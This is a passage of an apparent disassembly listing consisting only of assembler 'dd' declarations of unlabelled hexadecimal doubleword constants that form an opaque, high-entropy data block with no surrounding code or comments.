		dd 672F0983h, 19EFA648h, 38BE1F1Fh, 7BE0F116h, 34C817FEh
		dd 0CC051E6Fh, 0E3791E5Dh, 24E504Ch, 0D2F214Ch,	0CE68575Bh
		dd 3292FA14h, 55B8F102h, 0DA295D68h, 9EAECBE8h,	6721F851h
		dd 0A3DA243Fh, 207536B1h, 0A2E0D54Dh, 39E7124Dh, 810F405Ah
		dd 0FC41EECAh, 0B547F49h, 5FF7F373h, 0E5D00D63h, 59243AF2h
		dd 0E027441Ch, 5095540h, 73E93372h, 0F89D9374h,	93FD56B9h
		dd 0DFA4520Eh, 0D7E1BFD2h, 0F45057BDh, 386714F5h, 58D55933h
		dd 74F116F0h, 0BBD2F6E3h, 0FFD6DAB3h, 6FF85038h, 0F7C9710Eh
		dd 0C6D957Bh, 0A027E92Eh, 0C77A9968h, 92E8F4Dh,	0AC99F955h
		dd 0F1AC085Bh, 0A9B817h, 0F53BA741h, 0AA373082h, 2B464082h
		dd 0EE008239h, 687C6B5Eh, 0F5BE84C0h, 5F0922DBh, 330B0CFh
		dd 7FF0E2A0h, 3E639B26h, 0C695C00Bh, 73D49D31h,	89E834C5h
		dd 0FE2E244Ah, 9429DD9h, 8B252A5Ah, 8868A480h, 0FAE4C788h
		dd 0DE585B27h, 1EE9E12Ah, 128C3209h, 0C9BBDB68h, 392630C0h
		dd 95E2F12h, 0E298B5ECh, 0A125D0C2h, 260365F6h,	0C3D93814h
		dd 0C3814B00h, 19440AB1h, 0C0960CC1h, 25303975h, 8A0E12D7h
		dd 2EA1AA6Fh, 7AA80806h, 9D7EC1F7h, 9D630443h, 800BD974h
		dd 2CE58006h, 0A033115Fh, 2F0E9CB1h, 8D50318h, 1427088Eh
		dd 0C646C171h, 82085F7Ch, 0BF76B82Ah, 0B308C068h, 3B203D5Dh
		dd 0AE2A8C96h, 0ABAA8332h, 5CB00BFh, 90226740h,	0E456621Ah
		dd 0FF84C129h, 42EBCD9Bh, 0B5400FDDh, 81024F05h, 9BEA3DC7h
		dd 30A07C07h, 0A73A71C2h, 0C7E3584Bh, 5A954298h, 0D666E42Dh
		dd 0A78240A4h, 0C1B5475Fh, 0A32DABCCh, 9D447976h, 53586823h
		dd 895C8BF9h, 3AF82112h, 0AA495517h, 2872B92h, 7F2877F2h
		dd 0F577FF6Ch, 0F8D40082h, 0B179D05Eh, 0E08207Bh, 6C8F685Dh
		dd 755C2D1Ch, 5CBEDC5Ah, 6B88B8B3h, 39C12549h, 2082845h
		dd 0D6FEFBBh, 53D87F01h, 4063E305h, 0B682520Ah,	5F2FB230h
		dd 0DF0966ECh, 5DD355E9h, 9BB04BD2h, 99FBE3D3h,	0F2326029h
		dd 0E178EB6Bh, 163A3521h, 6ADDFA1Dh, 0B5A1DCF8h, 0E843B354h
		dd 803A31DEh, 0BB280D20h, 0E2CB6E6h, 8ADD2717h,	0EFC01590h
		dd 54560517h, 74A20F04h, 271229EEh, 70F51182h, 0F168910h
		dd 0AFBAC380h, 0DF30B221h, 480CF0B0h, 4E770769h, 67E93244h
		dd 7B4F73D2h, 19ED85C5h, 2065B2Ch, 0B28B5D2Bh, 0BA98A8D8h
		dd 0B17B7041h, 3EA92FE0h, 0FE6A01B7h, 8CE73111h, 0CDC2290Bh
		dd 0B5E727E9h, 7481CF12h, 305E218Ch, 560EDF30h,	8134D8BEh
		dd 52C3E942h, 0EFB22C92h, 262F40Eh, 8B665AD0h, 0FF9750FCh
		dd 939CF2Bh, 0FC7BA6E9h, 6A7F7210h, 3314802Ah, 90363755h
		dd 2728012Bh, 0D3F71214h, 7660344Bh, 87405427h,	2C154FB5h
		dd 0ACFAE7C4h, 0D55E2FD6h, 96028712h, 0DD0BD7AFh, 0DBBD3EBCh
		dd 0BA3C928Ah, 4A5DF932h, 0C2B4C0DFh, 7C89E858h, 74FD3h
		dd 0A6B7BE78h, 5A9597FAh, 0BC382005h, 0C2ED8001h, 6659EB28h
		dd 0D7C3ABCBh, 68C77D2Fh, 7DBB5DB9h, 0EC003766h, 0F6B3B652h
		dd 5A84E9DEh, 2731AABBh, 6A24D9E1h, 7F7A73EEh, 0D6F63EC6h
		dd 0BDCF5193h, 48835F54h, 0D049A881h, 31772F6Bh, 758F61D1h
		dd 51222556h, 0FBCC0EBh, 39005228h, 27919EBBh, 5DFAE99Bh
		dd 0D0451C5Eh, 7ED4C2E7h
		dd 0A600723Dh, 10AD654Bh, 0AA4F2932h, 84097DC0h, 6545F9F5h
		dd 50CC495Fh, 7F6BD67Eh, 95E825C0h, 27685839h, 396A466Dh
		dd 252707BAh, 5DB1E95Dh, 0EE12D229h, 9E53BDBCh,	2BB3E49Ah
		dd 0C18002ECh, 129A905h, 6E2C7E9Ah, 0B5A0EC60h,	59E9CC71h
		dd 0C71B0B40h, 550B75DBh, 0A5B48253h, 2D2AD17Fh, 8E88A3F8h
		dd 19172EE3h, 0D71761A5h, 0A4687C80h, 0C986A917h, 0AB69173Bh
		dd 85685360h, 6323C401h, 7FDBB6F1h, 2F641F52h, 0FF5F4286h
		dd 776B9B59h, 9AB092CCh, 0C9E9FE5Fh, 69F66C4h, 41CC583h
		dd 413F0AF5h, 854EF39h,	91CE09A0h, 93E07F31h, 9427E498h
		dd 2F0278B6h, 0F4921E7Dh, 87CD827Fh, 0C95E93A5h, 12A70D29h
		dd 0BDED94FFh, 0C939CAB0h, 526BF80h, 68464E0Ch,	0E298BFAAh
		dd 855A026Ah, 0CA8DE979h, 6EE4AEA2h, 34659156h,	15A0590h
		dd 93990D8h, 123D3B4Ah,	711FB080h, 31414C30h, 62FCF1E6h
		dd 0FBF42D47h, 4FFA37BCh, 0EF4FDC3h, 7712B3A3h,	0C1C5935Eh
		dd 0DC30B1ACh, 77A4A49Bh, 91895A4Fh, 4AB91174h,	0DE9BB994h
		dd 0FEDB98C4h, 60202DFAh, 6814E692h, 34CC0653h,	0A6B80DE2h
		dd 0BA93585Dh, 8968CB42h, 0BB8BB07Ah, 0E7FE5ED7h, 74B92776h
		dd 0AA47445Fh, 64E25D12h, 793B2DB0h, 0C5984CE6h, 6C070551h
		dd 761684E4h, 4D804509h, 75C46DC0h, 3C9CDCB0h, 0F9C22E38h
		dd 5895B522h, 5FFB1249h, 0C3920958h, 9FE4EF48h,	2B1CD08Bh
		dd 29651A0Bh, 811BCCBh,	145EC759h, 926413FEh, 0C87DC367h
		dd 0BE1FE9D4h, 1F211363h, 47010A2h, 5B5F685Ch, 94F3498h
		dd 434C296Bh, 0EB3DA57h, 15AE36DBh, 0F82F3CEh, 0CE803857h
		dd 50E764CCh, 0D6454D27h, 0D9940F4h, 0D3A0C477h, 0E297B5E9h
		dd 1C797776h, 136B5D88h, 0A600AE4Dh, 518C6EC5h,	0EF769D20h
		dd 0FBF9555Ah, 0E9E6D101h, 562E6111h, 251EFD45h, 822C7E5Fh
		dd 0D0B5236h, 94E1848Eh, 4216786Dh, 0B0904BAAh,	0F1888ED8h
		dd 7BFB09E8h, 5E865128h, 0F3041941h, 1F9E98DEh,	7F561EBAh
		dd 281DEECEh, 0AA58CB4Ah, 5B7290ADh, 96D69F86h,	0E3071069h
		dd 0C157C03Ah, 1BE82547h, 0A770EA0h, 0EAC03C83h, 3C55591Eh
		dd 0F24A20C8h, 7FBDD22Eh, 0FD5E3E81h, 137CDA1Eh, 0FA1A4E8Bh
		dd 45DC0071h, 0CA816198h, 5D047CCFh, 1F0E943h, 57DB57FDh
		dd 0D96A06F2h, 8238F854h, 21CEA28Ah, 1834E1F7h,	0C1029BBBh
		dd 31F51CFEh, 0ED0567F8h, 4F53D4FBh, 3FB6B1C0h,	0A00E4A76h
		dd 43B1F4Fh, 0F4E73964h, 9B205B2Eh, 0A4408E02h,	96DE5DBCh
		dd 0B603B260h, 0B6C5BD63h, 0F7A71F89h, 7A20EF9Eh, 305676F4h
		dd 340C17A8h, 0E800C09Dh, 50FE0403h, 5CB69EB4h,	0CC0B2C5Bh
		dd 2E8EE628h, 0A14FE9A5h, 202F514Eh, 0F428022Ah, 18492CACh
		dd 0DAE6FB19h, 376F1D13h, 0B8E31001h, 0CC31096Ah, 0BEF0006Eh
		dd 2B71AACh, 48406CB6h,	0B0FD58E5h, 0B27AED0Bh,	1FB6D873h
		dd 7EBA80F1h, 185FD616h, 0C5E5CD88h, 5E58C737h,	0A260CF98h
		dd 0DCA3AA73h, 0D4CAEA96h, 0FC5AD138h, 4C749821h, 40EEBE0Bh
		dd 771DD708h, 5C016312h, 0CD007FCh, 0BFB5D348h,	0FC556749h
		dd 709C587Ah, 5E11573Ch, 0A92563B2h, 4795C750h,	0FCF00239h
		dd 0E97F61E6h, 0C46BDC00h, 0AD10B84Ch, 0C05CC82Fh, 0A8B9D440h
		dd 9989D932h, 7A80018Eh, 3F525762h, 552825F1h, 504AA96h
		dd 9218021Dh, 0A42729C9h, 90DD811h, 6BBD7A46h, 0B329EA0Bh
		dd 8532E2E6h, 298080C8h, 357953DDh, 7D0FE50h, 0CB84ECE9h
		dd 0FD01ED67h, 834D2C03h, 3947330Eh, 0E1CDE823h, 98867D11h
		dd 34BBE2AFh, 0EFFE2F87h, 2DE97AE0h, 0E054CCEDh, 861E95Bh
		dd 0F7687E85h, 0ECCD633Fh, 0C64249C1h, 5DA0341h, 0BCD2E0Fh
		dd 97CFA8Ah, 55F13445h,	9F45205Dh, 0A17AD42Bh, 745E9A3h
		dd 5EAC4704h, 7EA85D0Dh, 480CCA22h, 0B7545653h,	12729756h
		dd 8839D606h, 0BF014160h, 10A50209h, 254EC2Eh, 6C29E2CFh
		dd 0CA7CC01Ah, 86BF1FEAh, 0F5E90B31h, 59122154h, 2DA24738h
		dd 0F6F0D75Ch, 0E3090D2Eh, 0D1C8066Fh, 5E591FA9h, 0E4603C41h
		dd 28110BF6h, 0E509C9ECh, 0D54AF364h, 4B2DB700h, 0BF0404EAh
		dd 0DEE23012h, 7783E980h, 0EDDE906Eh, 8047331h,	21B840FEh
		dd 22B7E9C8h, 0BFA83A91h, 99ABD197h, 0F1E91129h, 784F3AB5h
		dd 76676542h, 0E632B000h, 456C2CAh, 0EB7BA2BEh,	0CB18BA74h
		dd 0DE2A9E2Ah, 34DC6720h, 0B755442h, 2E89F6DEh,	0EB84FF17h
		dd 0CB0B13C5h, 0B94CF641h, 131DFDB8h, 7105BD79h, 8349613Fh
		dd 8EB7B596h, 0B110E9C2h, 32C5EEC9h, 0E581DDC9h, 69154F02h
		dd 8A3EC64Eh, 8254589Fh, 860F2BE2h, 0ADF960DFh,	7052091Eh
		dd 0BAA263E9h, 0AB572AB4h, 0F20957CCh, 984F8AD0h, 0E99E01EEh
		dd 6EFEDE6Fh, 0C7D018ECh, 8A84FF4Ah, 0A8FCEC2h,	0FAEF44C4h
		dd 0CAE229D7h, 0D62757A9h, 0D9D4195Bh, 0B0DE7C2h, 80FD5F2Bh
		dd 770176DAh, 2C416139h, 0DBEE0EB4h, 6D77CAD2h,	165D2F6Bh
		dd 0E0EE1FCFh, 1670616h, 88132DEh, 0F5213F5Bh, 0AF041915h
		dd 4E447B84h, 5F04692Bh, 122BAC31h, 7BD0F0E4h, 4AC774B9h
		dd 3C33B120h, 8DBFA486h, 0D94720B4h, 4FC56880h,	2F4FCC09h
		dd 0FB61204h, 39F8F331h, 5DA4BAA5h, 89C4B459h, 4E005F54h
		dd 22F41166h, 0D62E8CDh, 8124852Bh, 1141BC2h, 0B63B5A54h
		dd 0F0FFD234h, 0B33A7DD7h, 91B44E33h, 9D7C2DE9h, 0F2283CC7h
		dd 0F52F662Dh, 0EAD5D633h, 95AD9AA4h, 0BCD23F62h, 81FB742Ah
		dd 338BD23h, 7BDE20AFh,	5B74C800h, 51E907B9h, 0FDBFAAFDh
		dd 0D6F70182h, 413A11E0h, 76107925h, 545340A4h,	5595525Bh
		dd 0C0583605h, 7180F38Eh, 89282072h, 0C206D1DAh, 6A762AABh
		dd 0B5F5780Ch, 0CD5EF4F8h, 9AEAE084h, 20AC4C27h, 22F9B6CAh
		dd 3724C586h, 53BEC04Fh, 0C6A08965h, 4418D9F7h,	8C0C3F33h
		dd 3DBA2F05h, 8801F8C2h, 3A58E728h, 8E537C0Eh, 59A0D9EBh
		dd 0AB2BD3C1h, 635D842Ch, 0D8307EC5h, 7A4DDDB9h, 27DAF331h
		dd 2051E611h, 0D4FBF9F4h, 0D558F728h, 0C7CE26D8h, 324ADA8Eh
		dd 9EA2BA4h, 4C9EBACDh,	3A916C80h, 0F69F04C3h, 1608206Ch
		dd 0D124B8E9h, 0F6266BC3h, 52D9607Dh, 0E145E22h, 0E96C5BD5h
		dd 0BD80FDE6h, 7A691E37h, 1BD7CA57h, 0AABB92D4h, 2C9B65Eh
		dd 80822AEh, 0E93BF137h, 1185B690h, 9EC20180h, 69EF8E61h
		dd 0D3B2AF12h, 209A0BA4h, 6F8B007Eh, 0EB44F6AEh, 0B9589075h
		dd 6A2904B4h, 0AACF012Eh, 680973DAh, 967F163Bh,	0E953098Bh
		dd 0C3FB1AFAh, 9BC993BDh, 4BDEEEB8h, 0FABF82Fh,	0F953DFF4h
		dd 332AA283h, 8ED15125h, 0C3A82AE3h, 0AE13BB96h, 420B8AFAh
		dd 60413E9Eh, 211FF2F1h, 0AC6A4A7Fh, 708804A3h,	8A112B1h
		dd 7828DE2Fh, 982D02EDh, 0C0376A9Ah, 0CC64F55Bh, 312EFD63h
		dd 0AD1B31E8h, 49BBB41Bh, 150A5DFAh, 41F90503h,	0B173EEB8h
		dd 5035288Eh, 6C122CA1h, 6B5EAD81h, 0DC22E701h,	0AA60217Eh
		dd 823E4EE9h, 0A640511Fh, 0D0B7D5F6h, 0F252F0BAh, 60E6F7FAh
		dd 0C00C23DAh, 4B85E68Bh, 35984D77h, 8C063F7Bh,	0DE1E9E5h
		dd 0D312BF82h, 0AB3EC75h, 11F7E9CEh, 6EC04BC5h,	6897CF3Dh
		dd 0E42FF650h, 3FC15C7Ah, 0AC18D631h, 5260D853h, 82BBB62Dh
		dd 52F4AB1h, 0EFCB085Bh, 0BF33B00Fh, 0D58BA7h, 0D953D07Eh
		dd 0D8BB518h, 7D56EA5Dh, 69C60C62h, 0EB9D1483h,	400160A4h
		dd 92A05B5Ch, 0B9DCEEBh, 7AEF7684h, 8216D8F3h, 5DBE8549h
		dd 567DFEC2h, 14FC2B4h
		dd 6642BE40h, 9CA6E299h, 0B772AE02h, 8672FD45h,	0F77763B0h
		dd 3DCD381h, 0EBFFD30Fh, 41174A2Ch, 0AB4C441Ch,	0BB9747E8h
		dd 16948CD7h, 0E12AF117h, 6643876Fh, 92FE3ABDh,	7A78E3FCh
		dd 8DBF3B57h, 9C1BCFEh,	6FC76BF9h, 0BE3FA526h, 645EB76Fh
		dd 2AB52878h, 0FC1AC1F4h, 0CEDA69ABh, 0F2F7277h, 36704519h
		dd 0FACC7FC4h, 755E1C45h, 2B86CDABh, 0C2A75FEh,	0EDEFF9A7h
		dd 5E01B80Ch, 7DEB5210h, 0E9A01393h, 9595478h, 0E89F4601h
		dd 68C7314Ah, 3E64D4B6h, 43F704D5h, 9C81FE01h, 0F805F24Dh
		dd 7B0F4C54h, 0B7CC2880h, 7B405258h, 737E2D68h,	6583E719h
		dd 6BF9E1A8h, 5032C9E8h, 745721D0h, 69D649B1h, 63D7F08h
		dd 0CDB973E9h, 578AF507h, 54B53C4Ah, 0FD5A1BACh, 0E3AAE524h
		dd 63407CD7h, 0A64B253h, 6DA91E88h, 3C620393h, 0C016459h
		dd 732E3D1Fh, 7160874Dh, 0B8105A9Eh, 2568E02Ch,	6062BC41h
		dd 389840B5h, 0F7BC314Ah, 3A44493h, 4431EAB1h, 0CE6A15FDh
		dd 0E56809F3h, 16AD736Dh, 6A6B097Ch, 438FAF5h, 0AF48250Dh
		dd 5B908038h, 424B4002h, 0DD2CC3C0h, 0BC36A8FEh, 63F58254h
		dd 60DC9A36h, 0B7B3A212h, 75B0486Ch, 61AEF6BFh,	0D21C47C3h
		dd 51EB70FDh, 0C23E08EBh, 5A50540Ah, 5F516825h,	0DFDC8C12h
		dd 7D201F00h, 0B4ACE94Bh, 0A5D16E0h, 0A877586Dh, 472F492Bh
		dd 35DCB525h, 0B1C92612h, 1383B92Ah, 93E4D82Eh,	5CCE4044h
		dd 2829040Dh, 69798CF0h, 5A1FC903h, 7ED925D3h, 1346331Ch
		dd 8BFA9368h, 4E7448EFh, 51E97A42h, 605DDCF7h, 17126F88h
		dd 0D273927Ch, 77214048h, 0AC61117h, 6A02C7E8h,	7AE9711Fh
		dd 7425C776h, 307D7AC0h, 0E43A3F79h, 65FEB84Bh,	0F8F83E04h
		dd 0C1B4D216h, 68964042h, 0C9ABEC4Ah, 0A3EC3ADAh, 0A14C2AB9h
		dd 76E91BFEh, 9C559594h, 3D6813BFh, 0C762AC46h,	0D70B3E2Ah
		dd 0F226B3EFh, 0ED58E961h, 0C6F36181h, 300D6F60h, 7A795938h
		dd 64356B03h, 0A8394812h, 4F69F714h, 8912C093h,	9B4BE9DDh
		dd 89BA1117h, 0E41E7FB7h, 0DD7FB430h, 0F3865F50h, 0BF14BF9h
		dd 25F675C2h, 9D8F5550h, 4902FD68h, 0ED60414Bh,	9D42CB1h
		dd 7ABA6875h, 67A9EB30h, 210ADC12h, 0CA0704FEh,	0A1786346h
		dd 0C03F2CB8h, 0B30EE94Eh, 0D0E3DE9Fh, 0C6970E9h, 0CBB7A017h
		dd 0B16F2B33h, 0C6C94C3h, 3782588Bh, 0F779F231h, 0E8A71F2Eh
		dd 0B684BFB7h, 1A685851h, 0E1584455h, 82BC6EA4h, 3AE6A1C6h
		dd 7FD5F727h, 0EA4C4EC6h, 315A0E82h, 8EB4CDDh, 0DAE2568h
		dd 542F3F46h, 2D2966F2h, 0E9A2593Bh, 79550292h,	1E5572C8h
		dd 95C49715h, 0E5C6805h, 99D329E9h, 5EB00559h, 0AE387D53h
		dd 8CC23540h, 0ED1E0AB2h, 274A5A60h, 25203F0h, 0E37D0882h
		dd 63D08519h, 7A291468h, 35581AA2h, 93C20D16h, 68E9D164h
		dd 52AA5E34h, 0E45BF234h, 48938FEFh, 0C70A93BCh, 0D796C081h
		dd 0F30820FEh, 0F1265477h, 820CEA29h, 7BA24EBh,	6FFE6867h
		dd 16504056h, 5E002E94h, 4EA4E681h, 0A04603C1h,	12767D8Bh
		dd 0BA091484h, 5690DF80h, 89EF13A4h, 93F7EDF5h,	67957C01h
		dd 0D22C7F9Fh, 2708C528h, 0D6D080E9h, 7AD1DE95h, 251E7A55h
		dd 55C0E3E9h, 1317C6BFh, 6BEC5987h, 1B76CBB2h, 1B7FC681h
		dd 0A82E2D3Eh, 115480E5h, 0DCF70961h, 4B51DEDCh, 45852024h
		dd 5860815Fh, 0D75A026Fh, 68C773F3h, 2FE766F9h,	7441C2E9h
		dd 1F15F85Ah, 2702BFB3h, 0D457674Fh, 0D0095230h, 5327FA84h
		dd 0A8BF9983h, 9F396D69h, 0CF090ECCh, 0C1EF7CE2h, 0BBC394D6h
		dd 4290E72Bh, 2BC76F4Eh, 9333FA89h, 8468F331h, 9E3760Ah
		dd 7F2D2000h, 6E8C166h,	525A4B0h, 6F0D56C3h, 4354642Bh
		dd 0CFB6DF27h, 8774597h, 0C11A52C7h, 83A38056h,	5FD5230Ah
		dd 1B09FF31h, 0B89D20E3h, 7E5D711Eh, 3E5950Ah, 68F70582h
		dd 52785556h, 24BCDFEFh, 0FDEE1281h, 7A41E67Ah,	15CBC934h
		dd 0F7FF4085h, 0D7E91233h, 0F35EAAECh, 9383406Ch, 7995E29Fh
		dd 4AF5E99Bh, 37AB84D1h, 4B9CC9A4h, 7374EEC8h, 0FB4A62A6h
		dd 16FB111Fh, 0D565ECEDh, 683B80BBh, 9BB76720h,	0BE5E234h
		dd 50531900h, 817A6A71h, 1E79F514h, 14B717A5h, 550D4221h
		dd 857A9D31h, 0E74FBEC2h, 0F2A6694h, 13EB7611h,	0B4F6A654h
		dd 5E76F22Eh, 5A35509Fh, 102EB8C6h, 12D873E7h, 360E4910h
		dd 0F62CE937h, 488BC8AFh, 282C1D65h, 69FCB1A4h,	44D6DEC7h
		dd 0C0C67E7Ah, 563515DEh, 7F7CB5h, 0A9CAEA20h, 0AAA81CE9h
		dd 384EC280h, 70939C44h, 72CEB407h, 0E872DA4Fh,	0EE40FE04h
		dd 0AD80524Dh, 21B10C6h, 628EBA37h, 52796CA2h, 655DBD00h
		dd 0F72938CCh, 0EED2D0DAh, 64E3C75h, 964B35ACh,	4F3E2E56h
		dd 0B2C2C784h, 0FE5E05EBh, 0CB0980E3h, 177D0C8Bh, 91E9093Fh
		dd 427638F0h, 35C5E45Bh, 0BF3056BAh, 47A00C21h,	72D0973Eh
		dd 2BF4DC15h, 28864E1h,	5FC7CCA2h, 0E7B34C58h, 0CE1C8175h
		dd 145D274Dh, 30A9F681h, 0A3306791h, 0E5250184h, 0E9F3890Bh
		dd 2D9A641Eh, 0F43DF2B5h, 143D657Dh, 0C6E41C86h, 8D1F6CAh
		dd 0E954500Bh, 81557EA4h, 37F3FAEEh, 9EECEC2Fh,	155A7F82h
		dd 0C6C074Ch, 0CAE28B5h, 0C0180BC7h, 5F075644h,	5F0305Fh
		dd 0D90B3967h, 0F6348B4Eh, 9780FAA3h, 64D07CDEh, 2C3DFBBFh
		dd 2EE89D5Ah, 8D0D722Ch, 0EAE23ED5h, 1286AE10h,	0A0BFBE56h
		dd 27BE01CEh, 59B3EB01h, 0D52017DEh, 0E6699AE6h, 6A4E3030h
		dd 0CF7C3432h, 0FCF73A2Dh, 4FD92854h, 803E0232h, 125778ECh
		dd 0A78355BBh, 717DB293h, 7CB4B84Ah, 314977F1h,	701880C4h
		dd 175803D7h, 0E00E26EAh, 3DC9C38Bh, 0E6E1F55Bh, 3AFDEDD1h
		dd 0F19210B3h, 0E2B82B24h, 18699384h, 78230F56h, 0A58C6D0h
		dd 0CB038985h, 50F409A1h, 0D89DE24Bh, 3BBD0534h, 87692A26h
		dd 0AF61C3FEh, 0BADEDC4h, 801E7C88h, 1A3ACD4Ch,	208198B5h
		dd 0F750E869h, 90BD5DCAh, 0FA44A42Bh, 0ACF6C035h, 0E960993Fh
		dd 9F2A1426h, 1C5CC42h,	330CA768h, 4526402Ch, 388B78DFh
		dd 0E463D5F6h, 25EC3C4Fh, 756E68B0h, 0B162379Eh, 50F70926h
		dd 4BF42558h, 0C45C93Ah, 1386F0AFh, 964112Ch, 100006C0h
		dd 65216A83h, 0F3074377h, 9F2995FAh, 77BD8B29h,	1CBFC1B0h
		dd 0CBAF714Bh, 68E9094Dh, 8DFEFEFCh, 2EFEE7DFh,	5C197CAAh
		dd 0B5A119Eh, 1036D008h, 20BC7FF5h, 0E90880FAh,	7C9D568Bh
		dd 0C1CE2914h, 48FD2610h, 0A24F04D8h, 46A8FA91h, 22CD0118h
		dd 9C91231Bh, 8C6EB202h, 31988722h, 0E86B2D67h,	7B5F849Bh
		dd 54098DDh, 1F9A267Dh,	0E0DDC521h, 0E9794769h,	57D789B5h
		dd 0C4C8B7B8h, 0A404FE40h, 0F9EBF6FFh, 455E168Eh, 62CD59E5h
		dd 0EC555A63h, 0E550BD78h, 0BA84BABAh, 7F5E9969h, 14441194h
		dd 8021DC89h, 3BED80CDh, 1697E828h, 502DB042h, 9C34473h
		dd 47FC7D52h, 0B7170A00h, 535B2990h, 0F8604E49h, 98579535h
		dd 12800577h, 0AE2893F2h, 0E8C182CDh, 0E661FC6Fh, 0C51E961Ch
		dd 154D16Ah, 0A7F17AFEh, 0AC5AE533h, 38A484D3h,	3F81BF00h
		dd 23984A85h, 0CB032A41h, 4062F02h, 584741F6h, 55F04D52h
		dd 8031CD9h, 0AC0C5134h, 428F8ABh, 0EBC2E95Eh, 0CC1031FDh
		dd 0B0500FB7h, 2DDC5A4h, 478FA9D1h, 2F68D520h, 8AFE22FAh
		dd 4104BEE2h, 883F6601h, 0AF17F928h, 68529963h,	5E698FFAh
		dd 0EA9817h, 331077BEh,	3506D0F7h, 0CCEF88E3h, 39FAB73Ah
		dd 0B401D90h, 20F3B859h
		dd 3175B3C7h, 249A16B7h, 161CF889h, 7BAEE78Dh, 55FDBE27h
		dd 0CEF39220h, 4F5AAA78h, 80D264FFh, 6713FD24h,	0C47A4Ch
		dd 0F322209h, 952D8A68h, 6C20DB6Ch, 0BCC05E7Ch,	42762799h
		dd 0B5776CF5h, 0E962E773h, 0BD3FF0D9h, 2C5B8596h, 23B72001h
		dd 0CDE56714h, 11103B39h, 1FBF3A79h, 314F4817h,	0F0B384FAh
		dd 4FC5B7AFh, 8F2D7CB7h, 0A35AC105h, 91E99738h,	68555600h
		dd 0EA025A8h, 0ED815D01h, 0E465FF32h, 5AA3E9F4h, 0DDB0E5BEh
		dd 1BF7417h, 575E6FC9h,	0E941D4F9h, 0EE73A2C5h,	52D198B5h
		dd 6DA2535Fh, 5E45B85Ah, 209473C0h, 336A7F43h, 0D31F7704h
		dd 620FB9B9h, 5E5D0B0Fh, 0E3AF807Ch, 9D10C73h, 0D3F74B2Ch
		dd 43070800h, 0E9497B2Eh, 0CE335090h, 8C2F1E4h,	7E381668h
		dd 0E0D267DAh, 66E911BDh, 0E8B9B44Bh, 1F845CCBh, 0C6041665h
		dd 0AE13C84Eh, 42FDBB32h, 0D6C36A4Bh, 0EC7C6404h, 972C011Fh
		dd 0F8280604h, 0EFD4A7DBh, 680FFBA9h, 7D291DC2h, 0D7F76460h
		dd 1CD9748h, 0EE72F2A0h, 0C46AF031h, 127DF93Ah,	5209C101h
		dd 5B8F19EBh, 6BBFAC20h, 4A0F590Dh, 92825304h, 0D7E2D096h
		dd 5F8719E3h, 56D556DEh, 5869BC85h, 234044Ah, 0AEC470DFh
		dd 0E232A300h, 2FE9DA01h, 27D37527h, 0F685687h,	577F10D2h
		dd 0EE401959h, 9E5EF01h, 30E95229h, 4B4009DCh, 954A4563h
		dd 0FB57BD07h, 5C1043A2h, 8F5A6577h, 0D4B696E9h, 5FCB05E8h
		dd 10CEC464h, 0A15F088Ch, 0D3BC7E11h, 418B897h,	0DB1DBCBAh
		dd 0E9D712C0h, 864A9D97h, 35861FC2h, 4BA09B0Ah,	8ED2C9BFh
		dd 18481A01h, 0A0AF5A25h, 389E6BDAh, 4F219A3Ch,	0AA59D512h
		dd 4E4E7516h, 0E6248968h, 51E820B5h, 8398FEB5h,	73FC6493h
		dd 92FCEDCAh, 32ACE02h,	7231FC01h, 54977DF8h, 0DAD14BB8h
		dd 0BA1683C4h, 0B72AFB3Dh, 41DC4502h, 5E51B1Eh,	71764580h
		dd 0AC16C65Ah, 0F4DC7F16h, 0FD5B7390h, 724B7674h, 0BF4A28F7h
		dd 0E9D53531h, 663488E5h, 0F779DDAh, 5CD66970h,	38FE272Ah
		dd 0CCFD84F2h, 0BC0958A4h, 0B65201C0h, 3A37B3B8h, 0D828F080h
		dd 6E79B766h, 0F25BD7E9h, 0BFF3E986h, 2F5B964Ah, 9F12B25Eh
		dd 3E0F24E0h, 0A925C8BEh, 2B5D57C1h, 0EB4E36F6h, 0F5968CAh
		dd 584E27C4h, 0B7C1BF48h, 0A3F9A213h, 0FAF32A53h, 22E00393h
		dd 0D092D8F6h, 0A1B34840h, 308BB512h, 28E90A21h, 584028E7h
		dd 0B25F2D8Ah, 0A12014E6h, 0CC0A1A3h, 0F627B5E8h, 5069B202h
		dd 9844F05Fh, 0D22158E8h, 9528CE09h, 0C536A402h, 3103985Fh
		dd 0D08F61C3h, 3BFEBFB8h, 0F7A299ECh, 3F16B940h, 4BF96EBFh
		dd 0EA9F842Ch, 8FB34FF8h, 20475363h, 0FD1CAAF8h, 68E189C5h
		dd 572F35DDh, 0E91F132Ah, 60BB4BC3h, 7D26FC8Ch,	73742558h
		dd 50FDAC41h, 807B4DDCh, 7F954068h, 6F53EE99h, 8BEA3BD0h
		dd 0C05E97EFh, 0AA62F468h, 0FAB50293h, 0C0F5DE81h, 85D870E0h
		dd 0AF4D94FEh, 0A8BB0EC7h, 0D6438E13h, 36A95B06h, 3EEB1F0Ah
		dd 12F22E41h, 581AE5Fh,	0D2A7DC46h, 0F1E2A7F9h,	8611D7BEh
		dd 5DAB3B51h, 2EB58C1Dh, 0D2F6638Ah, 0EEFC2C4Fh, 97C980CAh
		dd 0EADC17D1h, 0FBF2A367h, 73A25D0Ah, 0B800B489h, 7A540992h
		dd 387F590Eh, 0BBF68101h, 0EC691D71h, 16D263F2h, 111B87FFh
		dd 2A18FC5Eh, 735886E3h, 0A9F96C2Dh, 25C83D47h,	0AD203E7Eh
		dd 0E20D970Bh, 8A18035Ch, 0F1AE5ACCh, 33B8C0CFh, 40D670F6h
		dd 17F58BFBh, 0AFB380BDh, 4B4C3F12h, 0F81D968h,	3E269768h
		dd 67595E8Ch, 72B9605Bh, 10781605h, 3B9A4417h, 0FEFB2005h
		dd 0C64EACAh, 0F173C750h, 20748873h, 290B9DA9h,	2890370h
		dd 0C8E37EB5h, 0B61EA469h, 0C54D6244h, 6706030Ah, 246ABB0Eh
		dd 0BBCFE4FCh, 23644B18h, 151695E1h, 29EB7E6Ch,	0C9AA8198h
		dd 31FD74A8h, 0D77EE23Ah, 1A1AD1E8h, 0B8414E5Dh, 4B923BDh
		dd 59BF6855h, 258EF1BDh, 0AB7A52A4h, 214D6120h,	0E93912FEh
		dd 331F4C43h, 8E40D2CBh, 0F5293C5Dh, 0A9F84D79h, 0FF71EE2Fh
		dd 5838BF60h, 9E5251B3h, 4BD8AC7Fh, 633090EAh, 1379D030h
		dd 805F741h, 80CDC04h, 9053E14h, 0BB172527h, 3911C620h
		dd 6B75413Eh, 0AE12AAD5h, 0EF0491EAh, 9A6E7871h, 24FC5C32h
